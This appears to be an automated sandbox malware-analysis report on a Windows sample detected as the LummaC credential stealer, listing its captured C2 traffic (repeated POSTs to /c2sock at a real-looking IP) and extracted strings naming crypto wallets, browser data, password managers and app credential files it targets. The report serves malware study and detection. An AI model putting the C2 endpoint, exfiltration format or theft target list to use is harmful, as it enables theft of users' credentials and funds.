Nov 13, 2024 10:52:54.243056059 CET	4944	OUT	Data Raw: 3d ec 7f 19 0e a8 fe 37 34 fc 4f de af fe 57 92 ff 65 38 e0 5d 81 f1 a5 a7 96 9a 56 fd ef ae e3 06 87 9d ff c1 fe ba ed 7f 73 8f ac 66 ee ff c8 da ff 1b f9 9e 27 91 01 3a 8c 8f c2 5d 50 fa 5f cc 0c 3d 3d c0 c9 39 7e f1 3e 5f 5e ef c7 f7 85 a0 1e Data Ascii: =74OWe8]Vsf':]P_==9~>_^>_a "gR3l/^CPzC~`>`5Ugs8x/c({k]s:cCY+s[j
Nov 13, 2024 10:52:54.243140936 CET	4944	OUT	Data Raw: 5a 3f 7a 25 cf a3 c0 f6 a8 36 10 3e 48 f7 d0 79 3a e6 26 c8 67 f3 65 f9 df 0d 62 a7 87 dc 05 8c 5d c1 b0 3e fe 39 7c 97 08 af 0d 84 f3 91 fb 51 2d a0 f4 3f d9 fb 8b d9 7f 98 0d d8 6b 26 36 dc fc 6f d5 aa 55 6d f3 3f b2 bf 47 2e 7a 4d 7b bf 47 0f Data Ascii: Z?z%6>Hy:&geb]>9\|Q-?k&6oUm?G.zM{G_7PO#K_kSW??@V162cd`V5??(iG0OZz>oD\|??>?~`
Nov 13, 2024 10:52:54.243156910 CET	2472	OUT	Data Raw: b7 07 58 d8 1e 5c 0f ee 67 77 80 04 41 5f 30 05 fb 82 6f da bb 12 eb fb e5 b3 00 71 9e f7 fc 92 ff c1 00 b1 03 d8 e7 72 dc f0 a4 cb 61 8e 1f fa 79 71 8f dc f9 21 cf b9 ea 04 69 3e 20 af 09 e4 b3 05 ed 6e 62 b1 e7 57 3a 1f af ff 73 ed 02 96 de 27 Data Ascii: X\gwA_0oqrayq!i> nbW:s']Pep09<__e{B/x8_QSSEK@&`5/p_>`JK\_.pzyYM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	50011	94.158.244.69	80	1352	C:\Users\user\Desktop\g1kWKm20Z5.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 10:53:03.009649038 CET	188	OUT	POST /c2sock HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 440 Host: 94.158.244.69
Nov 13, 2024 10:53:03.010031939 CET	440	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 7b 61 33 33 63 37 33 34 30 2d Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"{a33c7340-61ca-11ee-8c18-806e6f6e6963}--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"1--SqDe87817huf871793q74Content-Disposition: form-data;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	50012	94.158.244.69	80	1352	C:\Users\user\Desktop\g1kWKm20Z5.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 10:53:11.779273987 CET	188	OUT	POST /c2sock HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 440 Host: 94.158.244.69
Nov 13, 2024 10:53:11.779647112 CET	440	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 7b 61 33 33 63 37 33 34 30 2d Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"{a33c7340-61ca-11ee-8c18-806e6f6e6963}--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"1--SqDe87817huf871793q74Content-Disposition: form-data;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	50013	94.158.244.69	80	1352	C:\Users\user\Desktop\g1kWKm20Z5.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 10:53:20.672610998 CET	188	OUT	POST /c2sock HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 440 Host: 94.158.244.69
Nov 13, 2024 10:53:20.672972918 CET	440	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 7b 61 33 33 63 37 33 34 30 2d Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"{a33c7340-61ca-11ee-8c18-806e6f6e6963}--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"3--SqDe87817huf871793q74Content-Disposition: form-data;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	50014	94.158.244.69	80	1352	C:\Users\user\Desktop\g1kWKm20Z5.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 10:53:29.417304039 CET	188	OUT	POST /c2sock HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 440 Host: 94.158.244.69
Nov 13, 2024 10:53:29.418088913 CET	440	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 7b 61 33 33 63 37 33 34 30 2d Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"{a33c7340-61ca-11ee-8c18-806e6f6e6963}--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"1--SqDe87817huf871793q74Content-Disposition: form-data;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	50015	94.158.244.69	80	1352	C:\Users\user\Desktop\g1kWKm20Z5.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 10:53:38.222455978 CET	188	OUT	POST /c2sock HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 440 Host: 94.158.244.69
Nov 13, 2024 10:53:38.223850965 CET	440	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 7b 61 33 33 63 37 33 34 30 2d Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"{a33c7340-61ca-11ee-8c18-806e6f6e6963}--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"1--SqDe87817huf871793q74Content-Disposition: form-data;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.4	50016	94.158.244.69	80	1352	C:\Users\user\Desktop\g1kWKm20Z5.exe

Timestamp	Bytes transferred	Direction	Data
Nov 13, 2024 10:53:46.989612103 CET	188	OUT	POST /c2sock HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=SqDe87817huf871793q74 User-Agent: TeslaBrowser/5.5 Content-Length: 440 Host: 94.158.244.69
Nov 13, 2024 10:53:46.989995003 CET	440	OUT	Data Raw: 2d 2d 53 71 44 65 38 37 38 31 37 68 75 66 38 37 31 37 39 33 71 37 34 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 7b 61 33 33 63 37 33 34 30 2d Data Ascii: --SqDe87817huf871793q74Content-Disposition: form-data; name="hwid"{a33c7340-61ca-11ee-8c18-806e6f6e6963}--SqDe87817huf871793q74Content-Disposition: form-data; name="pid"1--SqDe87817huf871793q74Content-Disposition: form-data;

Target ID:	0
Start time:	04:51:02
Start date:	13/11/2024
Path:	C:\Users\user\Desktop\g1kWKm20Z5.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\g1kWKm20Z5.exe"
Imagebase:	0x400000
File size:	440'832 bytes
MD5 hash:	33F4CF8B4C1F6C07E80C74669D31021B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_LummaCStealer, Description: Yara detected LummaC Stealer, Source: 00000000.00000002.3614139526.0000000002330000.00000040.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Smokeloader_3687686f, Description: unknown, Source: 00000000.00000002.3614139526.0000000002330000.00000040.00001000.00020000.00000000.sdmp, Author: unknown Rule: Windows_Trojan_RedLineStealer_ed346e4c, Description: unknown, Source: 00000000.00000002.3612871914.00000000008AD000.00000040.00000020.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_LummaCStealer, Description: Yara detected LummaC Stealer, Source: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Author: Joe Security Rule: JoeSecurity_LummaCStealer, Description: Yara detected LummaC Stealer, Source: 00000000.00000003.1693318740.00000000023A0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_LummaCStealer, Description: Yara detected LummaC Stealer, Source: 00000000.00000002.3613161605.0000000000A5A000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	04:53:55
Start date:	13/11/2024
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 1352 -s 1708
Imagebase:	0xb10000
File size:	483'680 bytes
MD5 hash:	C31336C1EFC2CCB44B4326EA793040F2
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	3.9%
Dynamic/Decrypted Code Coverage:	10.1%
Signature Coverage:	52.4%
Total number of Nodes:	773
Total number of Limit Nodes:	25

Executed Functions

Function 004069A1 Relevance: 208.6, APIs: 6, Strings: 112, Instructions: 2052stringCOMMON

Download Yara Rule

APIs

lstrcatW.KERNEL32(?,?), ref: 00406AFC
lstrcatW.KERNEL32(?,\Local Storage\leveldb), ref: 00406B06
lstrcatW.KERNEL32(?,?,?), ref: 00408A66
lstrcatW.KERNEL32(?,/BrowserDB), ref: 00408A70

Strings

hnfanknocfe576xedofbddgcijnm576xedhnfnkdnaad, xrefs: 0040840A
ICO576xedNex, xrefs: 004075D4
GAu576xedth Authe576xednticator, xrefs: 00407298
nkbihfbeo576xedgaeaoehlef576xednkodbefgpgknn, xrefs: 004087E8
kn576xedcchdigobgh576xedenbbaddojjnnaogfppfj, xrefs: 0040887E
bfn576xedaelmomeim576xedhlpmgjnjophhpkkoljpa, xrefs: 00408242
Tro576xednLi576xednk, xrefs: 00407616
onof576xedpnbbkehpmmoa576xedbgpcpmigafmmnjhl, xrefs: 004080AE
Bit576xedApp, xrefs: 00408847
Au576xedro, xrefs: 00407584
cnma576xedmaachppnkjgnil576xeddpdmkaakejnhae, xrefs: 00407593
fihka576xedkfobkmkjojpchpf576xedgcmhfjnmnfpi, xrefs: 00408856
EnK576xedrypt, xrefs: 00408897
Coinb576xedase, xrefs: 004083FB
Uni576xedSat, xrefs: 004082D2
nlgbh576xeddfgdhgbiamfdfmb576xedikcdghidoadd, xrefs: 00407D4F
EeS, xrefs: 00407043
Hy576xedcon Lite Cli576xedent, xrefs: 004080C7
Ni576xedfty, xrefs: 0040816B
Cl576xedover, xrefs: 004087AC
Hist576xedory, xrefs: 0040867F
bln576xedieiiffboi576xedllknjnepogjhkgnoapac, xrefs: 00408804
Ron576xedin Wall576xedet, xrefs: 004085CE
mnfif576xedefkajgofkcjkemidiae576xedcocnkjeh, xrefs: 00407F93
ejbalbako576xedplchlghecda576xedlmeeeajnimhm, xrefs: 00406E55
Coi576xedn98, xrefs: 00407492
Sa576xedturn, xrefs: 00407C8A
UL6T, xrefs: 0040702D
aea576xedchknmefphepccio576xednboohckonoeemg, xrefs: 004074A1
ffn576xedbelfdoeiohenk576xedjibnmadjiehjhajb, xrefs: 00408152
E576xedOS Authenti576xedcator, xrefs: 00406D19
cphhlg576xedmgameodnhkjdmkpa576xednlelnlohao, xrefs: 00407CC1
jojhf576xedeoedkpkglbfimdfabp576xeddfjaoolaf, xrefs: 004075BB
/BrowserDB, xrefs: 00408A68
Zi576xedlPay, xrefs: 0040746A
Na576xedsh Ex576xedtension, xrefs: 0040809F
Nab576xedox, xrefs: 00408018
iW576xedlt, xrefs: 0040886F
bcopg576xedchhojmggmff576xedilplmbdicgaihlkp, xrefs: 004080DA
cihm576xedoadaighcej576xedopammfbmddcmdekcje, xrefs: 004086BB
Ste576xedem Key576xedchain, xrefs: 0040827B
EQ576xedUAL, xrefs: 004076A5
Aut576xedhenti576xedcator, xrefs: 004074BA
fnjhmkhhmkb576xedjkkabndcn576xednogagogbneec, xrefs: 004085DD
bhgho576xedamapcdpbohphigoo576xedoaddinpkbai, xrefs: 004074C9
One576xedKey, xrefs: 00407859
imloif576xedkgjagghnncjkhgg576xeddhalmcnfklk, xrefs: 00408216
Te576xedzBox, xrefs: 00407F84
Liqu576xedality, xrefs: 00407EDD
lkcjl576xednjfpbikmcm576xedbachjpdbijejflpcm, xrefs: 00408084
kln576xedaejjgbibmhlephnh576xedpmaofohgkpgkd, xrefs: 00407479
Netw576xedork\Cook576xedies, xrefs: 00408505
nhnk576xedbkgjikgcigadomkph576xedalanndcapjk, xrefs: 004087BC
ookjlb576xedkiijinhpmnjffcofj576xedonbfbgaoc, xrefs: 00407F69
flpici576xedilemghbmfalica576xedjoolhkkenfel, xrefs: 004075E4
Wom576xedbat, xrefs: 004077AD
nkd576xeddgncdjgjfcddamfg576xedcmfnlhccnimig, xrefs: 00407C99
aiifb576xednbfobpmeekiphe576xedeijimdpnlpgpp, xrefs: 0040725B
Tr576xedezor Passw576xedord Manager, xrefs: 00408207
gae576xeddmjdfmmahhbj576xedefcbgaolhhanlaolb, xrefs: 00406D00
afbc576xedbjpbpfadlkmhm576xedclhkeeodmamcflc, xrefs: 004083E2
Au576xedthy, xrefs: 00406CF1
lodccj576xedjbdhfakaekdiahmedf576xedbieldgik, xrefs: 00407FBB
Te576xedmple, xrefs: 00408068
His576xedtory, xrefs: 004083AF
Yo576xedroi, xrefs: 00408143
Pha576xedntom, xrefs: 0040822F
W576xedeb Da576xedta, xrefs: 00408697
hcflp576xedincpppdclinealmandi576xedjcmnkbgn, xrefs: 0040804F
ijmp576xedgkjfkbfho576xedebgogflfebnmejmfbml, xrefs: 00407FE3
ibnejdfjmmk576xedpcnlpebklmnk576xedoeoihofec, xrefs: 00407625
amkmj576xedjmmflddogmhpjloim576xedipbofnfjih, xrefs: 004073C2
Bi576xedtClip, xrefs: 00407FD4
ME576xedW CX, xrefs: 004073DD
Le576xedaf, xrefs: 00407881
nanj576xedmdknhkinifnkgdcggcfnhd576xedaammmj, xrefs: 00407D13
fhmfend576xedgdocmcbmfikdcog576xedofphimnkno, xrefs: 00408903
dmkam576xedcknogkgcdfhhbddcghach576xedkejeap, xrefs: 004084B0
NeoL576xedine, xrefs: 00407CB2
Bin576xedance Cha576xedin Wal576xedlet, xrefs: 004085F6
nknhi576xedehlklippafakaeklbegl576xedecifhad, xrefs: 00408027
Ma576xedth, xrefs: 004083D3
Sol576xedlet, xrefs: 004088F4
Pol576xedymesh, xrefs: 004075AC
kkpllko576xeddjeloidieedojogacfhp576xedaihoh, xrefs: 004088A7
VL6T, xrefs: 0040891C
kpfop576xedkelmapcoipemfend576xedmdcghnegimn, xrefs: 00407EED
infe576xedboajgfhgbjpjbeppbkg576xednabfdkdaf, xrefs: 00407868
ppbibelpc576xedjmhbdihakflkd576xedcoccbgbkpo, xrefs: 004082E5
fhbohimaelboh576xedpjbbldcngcnapn576xeddodjp, xrefs: 00408128
Te576xedrra Stat576xedion, xrefs: 0040724B
Me576xedtaMa576xedsk, xrefs: 00406E46, 004087D8
nlbm576xednnijcnlegkjjpcfjclm576xedcfggfefdm, xrefs: 004081D0
dkded576xedlpgdmmkkfjabffeg576xedanieamfklkm, xrefs: 00407AF8
Cy576xedano, xrefs: 00407AE5
Gua576xedrda, xrefs: 00408423
hpg576xedlfhgfnhbgpjden576xedjgmdgoeiappafln, xrefs: 0040768A
EeS, xrefs: 00406B7F
Log576xedin Da576xedta Fo576xedr Acc576xedount, xrefs: 00408667
Lo576xedgin Da576xedta, xrefs: 0040864F
KH576xedC, xrefs: 00408040
By576xedone, xrefs: 004076ED
VL6T, xrefs: 004076C1
Ke576xedplr, xrefs: 004084A0
oel576xedjdldpnmdbchonieli576xeddgobddffflal, xrefs: 00406D28
DAp576xedpPlay, xrefs: 00407FAC
\Local Storage\leveldb, xrefs: 00406AFE
ilgcn576xedhelpchnceeipipij576xedaljkblbcobl, xrefs: 004072A7
cj576xedelfplplebdjjenllpjcbl576xedmjkfcffne, xrefs: 0040882E
jbd576xedaocneiiinmjbj576xedlgalhcelgbejmnid, xrefs: 00407D6E
Gu576xedild, xrefs: 004081EB
Ja576xedxx Lib576xederty, xrefs: 0040881F

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID: lstrcat
String ID: /BrowserDB$Au576xedro$Au576xedthy$Aut576xedhenti576xedcator$Bi576xedtClip$Bin576xedance Cha576xedin Wal576xedlet$Bit576xedApp$By576xedone$Cl576xedover$Coi576xedn98$Coinb576xedase$Cy576xedano$DAp576xedpPlay$E576xedOS Authenti576xedcator$EQ576xedUAL$EnK576xedrypt$EeS$EeS$GAu576xedth Authe576xednticator$Gu576xedild$Gua576xedrda$His576xedtory$Hist576xedory$Hy576xedcon Lite Cli576xedent$ICO576xedNex$Ja576xedxx Lib576xederty$KH576xedC$Ke576xedplr$Le576xedaf$Liqu576xedality$Lo576xedgin Da576xedta$Log576xedin Da576xedta Fo576xedr Acc576xedount$ME576xedW CX$Ma576xedth$Me576xedtaMa576xedsk$Na576xedsh Ex576xedtension$Nab576xedox$NeoL576xedine$Netw576xedork\Cook576xedies$Ni576xedfty$One576xedKey$Pha576xedntom$Pol576xedymesh$Ron576xedin Wall576xedet$Sa576xedturn$Sol576xedlet$Ste576xedem Key576xedchain$Te576xedmple$Te576xedrra Stat576xedion$Te576xedzBox$Tr576xedezor Passw576xedord Manager$Tro576xednLi576xednk$UL6T$Uni576xedSat$VL6T$VL6T$W576xedeb Da576xedta$Wom576xedbat$Yo576xedroi$Zi576xedlPay$\Local Storage\leveldb$aea576xedchknmefphepccio576xednboohckonoeemg$afbc576xedbjpbpfadlkmhm576xedclhkeeodmamcflc$aiifb576xednbfobpmeekiphe576xedeijimdpnlpgpp$amkmj576xedjmmflddogmhpjloim576xedipbofnfjih$bcopg576xedchhojmggmff576xedilplmbdicgaihlkp$bfn576xedaelmomeim576xedhlpmgjnjophhpkkoljpa$bhgho576xedamapcdpbohphigoo576xedoaddinpkbai$bln576xedieiiffboi576xedllknjnepogjhkgnoapac$cihm576xedoadaighcej576xedopammfbmddcmdekcje$cj576xedelfplplebdjjenllpjcbl576xedmjkfcffne$cnma576xedmaachppnkjgnil576xeddpdmkaakejnhae$cphhlg576xedmgameodnhkjdmkpa576xednlelnlohao$dkded576xedlpgdmmkkfjabffeg576xedanieamfklkm$dmkam576xedcknogkgcdfhhbddcghach576xedkejeap$ejbalbako576xedplchlghecda576xedlmeeeajnimhm$ffn576xedbelfdoeiohenk576xedjibnmadjiehjhajb$fhbohimaelboh576xedpjbbldcngcnapn576xeddodjp$fhmfend576xedgdocmcbmfikdcog576xedofphimnkno$fihka576xedkfobkmkjojpchpf576xedgcmhfjnmnfpi$flpici576xedilemghbmfalica576xedjoolhkkenfel$fnjhmkhhmkb576xedjkkabndcn576xednogagogbneec$gae576xeddmjdfmmahhbj576xedefcbgaolhhanlaolb$hcflp576xedincpppdclinealmandi576xedjcmnkbgn$hnfanknocfe576xedofbddgcijnm576xedhnfnkdnaad$hpg576xedlfhgfnhbgpjden576xedjgmdgoeiappafln$iW576xedlt$ibnejdfjmmk576xedpcnlpebklmnk576xedoeoihofec$ijmp576xedgkjfkbfho576xedebgogflfebnmejmfbml$ilgcn576xedhelpchnceeipipij576xedaljkblbcobl$imloif576xedkgjagghnncjkhgg576xeddhalmcnfklk$infe576xedboajgfhgbjpjbeppbkg576xednabfdkdaf$jbd576xedaocneiiinmjbj576xedlgalhcelgbejmnid$jojhf576xedeoedkpkglbfimdfabp576xeddfjaoolaf$kkpllko576xeddjeloidieedojogacfhp576xedaihoh$kln576xedaejjgbibmhlephnh576xedpmaofohgkpgkd$kn576xedcchdigobgh576xedenbbaddojjnnaogfppfj$kpfop576xedkelmapcoipemfend576xedmdcghnegimn$lkcjl576xednjfpbikmcm576xedbachjpdbijejflpcm$lodccj576xedjbdhfakaekdiahmedf576xedbieldgik$mnfif576xedefkajgofkcjkemidiae576xedcocnkjeh$nanj576xedmdknhkinifnkgdcggcfnhd576xedaammmj$nhnk576xedbkgjikgcigadomkph576xedalanndcapjk$nkbihfbeo576xedgaeaoehlef576xednkodbefgpgknn$nkd576xeddgncdjgjfcddamfg576xedcmfnlhccnimig$nknhi576xedehlklippafakaeklbegl576xedecifhad$nlbm576xednnijcnlegkjjpcfjclm576xedcfggfefdm$nlgbh576xeddfgdhgbiamfdfmb576xedikcdghidoadd$oel576xedjdldpnmdbchonieli576xeddgobddffflal$onof576xedpnbbkehpmmoa576xedbgpcpmigafmmnjhl$ookjlb576xedkiijinhpmnjffcofj576xedonbfbgaoc$ppbibelpc576xedjmhbdihakflkd576xedcoccbgbkpo
API String ID: 4038537762-1377293222
Opcode ID: d76d7c670001a5dbd7c9de7b01bcafc77f6a8fb9cd7de87a96b03e98a683fc98
Instruction ID: d3b4c8d05487b98e51841e16d8283d2e4e5c243acd67d22c1ca68150be5d60ea
Opcode Fuzzy Hash: d76d7c670001a5dbd7c9de7b01bcafc77f6a8fb9cd7de87a96b03e98a683fc98
Instruction Fuzzy Hash: 05E229F2E001065AEF2896588D8357F7969EB14304F25453FF80AF63D1EA3C8E558A9F

Function 0042D658 Relevance: 104.1, Strings: 82, Instructions: 1594COMMON

Download Yara Rule

Strings

sitemanager.xml, xrefs: 0042DC67
%appdata%\atomic\Local Storage\leveldb, xrefs: 0042ECEF
Wallets/JAXX New Version, xrefs: 0042ED45
Wallets/Bitcoin core, xrefs: 0042ED2E
y_B>, xrefs: 0042E011
%appdata%\com.liberty.jaxx\IndexedDB, xrefs: 0042ED4F
%appdata%\Telegram Desktop, xrefs: 0042DF00
Chr576xedome, xrefs: 0042E948
%appd576xedata%\Ope576xedra Soft576xedware\Op576xedera Sta576xedble, xrefs: 0042D8E5
%lo576xedcalapp576xeddata%\Go576xedogle\Chr576xedome\Us576xeder Dat576xeda, xrefs: 0042E957
%appd576xedata%\Ethe576xedreum, xrefs: 0042EA9E
*576xed, xrefs: 0042E532
CocCoc, xrefs: 0042DA7E
Wal576xedlets/Bin576xedance, xrefs: 0042EE5B
TT4, xrefs: 0042DF2F
%appda576xedta%\Op576xedera Softwa576xedre\Op576xedera Neo576xedn\Us576xeder Da576xedta, xrefs: 0042EC90
%appdata%\Exodus\exodus.wallet, xrefs: 0042EACE
Wall576xedets/Binan576xedce, xrefs: 0042DB9A
ap576xedp-sto576xedre.js576xedon, xrefs: 0042DBA9
%localappdata%\Comodo\Dragon\User Data, xrefs: 0042ECC7
*.leveldb, xrefs: 0042ED4A
%programfiles%\Steam\config, xrefs: 0042DCB9
$jRk, xrefs: 0042DED9
%locala576xedppdata%\Mic576xedrosoft\Edge\Us576xeder Data, xrefs: 0042DA33
%programfiles%\Steam, xrefs: 0042DC9E
Wall576xedets/Eth576xedereum, xrefs: 0042EE17
Wallets/Electrum, xrefs: 0042ED60
ssfn*, xrefs: 0042DC99
*.576xedtxt, xrefs: 0042EEB6
Wallets/Exodus, xrefs: 0042EAC3
keyst576xedore, xrefs: 0042EE27
Aan(, xrefs: 0042D889
*.conf, xrefs: 0042DC33
Applications/Telegram, xrefs: 0042DEF6
TT4, xrefs: 0042EB40
%userpro576xedfile%, xrefs: 0042DB79
%userprofile%, xrefs: 0042DC83
Op576xedera Sta576xedble, xrefs: 0042E4D1
Brave Software, xrefs: 0042ECAD
%appda576xedta%\Bina576xednce, xrefs: 0042DBB8, 0042DD8C, 0042EE79
Applications/FileZilla, xrefs: 0042DC49, 0042DC4E, 0042DC66
%appdata%\Bitcoin\wallets, xrefs: 0042ED34
%localappdata%\BraveSoftware\Brave-Browser\User Data, xrefs: 0042ECB2
q7 C, xrefs: 0042E450
%localappdata%\Coinomi\Coinomi\wallets, xrefs: 0042ED06
Mozi576xedlla Firef576xedox, xrefs: 0042D7E1
Wall576xedets/Ele576xedctrum, xrefs: 0042EE9A
%appdata%\Authy Desktop\Local Storage\leveldb, xrefs: 0042ED1D
Kom576xedeta, xrefs: 0042E818
.fin576xedger-pr576xedint.fp, xrefs: 0042DD7C
%localappdata%\CocCoc\Browser\User Data, xrefs: 0042DA83
Chromi576xedum, xrefs: 0042E75F
%localappdata%\Chro576xedmium\Use576xedr Data, xrefs: 0042E76E
Wallets/Coinomi, xrefs: 0042ED00
?, xrefs: 0042ECD4
%appda576xedta%\Mo576xedzilla\Fir576xedefox\Prof576xediles, xrefs: 0042D7F0
Op576xedera Neo576xedn, xrefs: 0042EC81
Aan(, xrefs: 0042DB43
Import576xedant File576xeds/Pro576xedfile, xrefs: 0042F04F
%appdata%\Electrum\wallets, xrefs: 0042ED66
recentservers.xml, xrefs: 0042DC4F
sim576xedple-sto576xedrage.j576xedson, xrefs: 0042EE6A
%appdata%\Ledger Live, xrefs: 0042EAE5
Applications/KeePass, xrefs: 0042DC79
ST4, xrefs: 0042D951
Wallets/Atomic, xrefs: 0042ECE4
Wallets/Ledger Live, xrefs: 0042EADF
%appd576xedata%\El576xedectrum\wal576xedlets, xrefs: 0042E541
*.kbdx, xrefs: 0042DC7E
Applications/AnyDesk, xrefs: 0042DC2E
%appdata%\AnyDesk, xrefs: 0042DC38
Applications/Steam/config, xrefs: 0042DCAF
Comodo, xrefs: 0042ECC2
%appdata%\FileZilla, xrefs: 0042DC54, 0042DC59, 0042DC6C
Wallets/Authy Desktop, xrefs: 0042ED17
Wal576xedlets/Bi576xednance, xrefs: 0042DBD5
Ed576xedge, xrefs: 0042E788
Op576xedera G576xedX Stab576xedle, xrefs: 0042EBA1
%appd576xedata%\Op576xedera Softw576xedare\Op576xedera GX Sta576xedble, xrefs: 0042EBB0
@an(, xrefs: 0042D868
Applications/Steam, xrefs: 0042DC94
%loc576xedalappda576xedta%\Kom576xedeta\Us576xeder Da576xedta, xrefs: 0042E827

Memory Dump Source

Source File: 00000000.00000002.3612525483.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_g1kWKm20Z5.jbxd

Yara matches

Similarity

API ID:
String ID: $jRk$%appd576xedata%\El576xedectrum\wal576xedlets$%appd576xedata%\Ethe576xedreum$%appd576xedata%\Op576xedera Softw576xedare\Op576xedera GX Sta576xedble$%appd576xedata%\Ope576xedra Soft576xedware\Op576xedera Sta576xedble$%appda576xedta%\Bina576xednce$%appda576xedta%\Mo576xedzilla\Fir576xedefox\Prof576xediles$%appda576xedta%\Op576xedera Softwa576xedre\Op576xedera Neo576xedn\Us576xeder Da576xedta$%appdata%\AnyDesk$%appdata%\Authy Desktop\Local Storage\leveldb$%appdata%\Bitcoin\wallets$%appdata%\Electrum\wallets$%appdata%\Exodus\exodus.wallet$%appdata%\FileZilla$%appdata%\Ledger Live$%appdata%\Telegram Desktop$%appdata%\atomic\Local Storage\leveldb$%appdata%\com.liberty.jaxx\IndexedDB$%lo576xedcalapp576xeddata%\Go576xedogle\Chr576xedome\Us576xeder Dat576xeda$%loc576xedalappda576xedta%\Kom576xedeta\Us576xeder Da576xedta$%locala576xedppdata%\Mic576xedrosoft\Edge\Us576xeder Data$%localappdata%\BraveSoftware\Brave-Browser\User Data$%localappdata%\Chro576xedmium\Use576xedr Data$%localappdata%\CocCoc\Browser\User Data$%localappdata%\Coinomi\Coinomi\wallets$%localappdata%\Comodo\Dragon\User 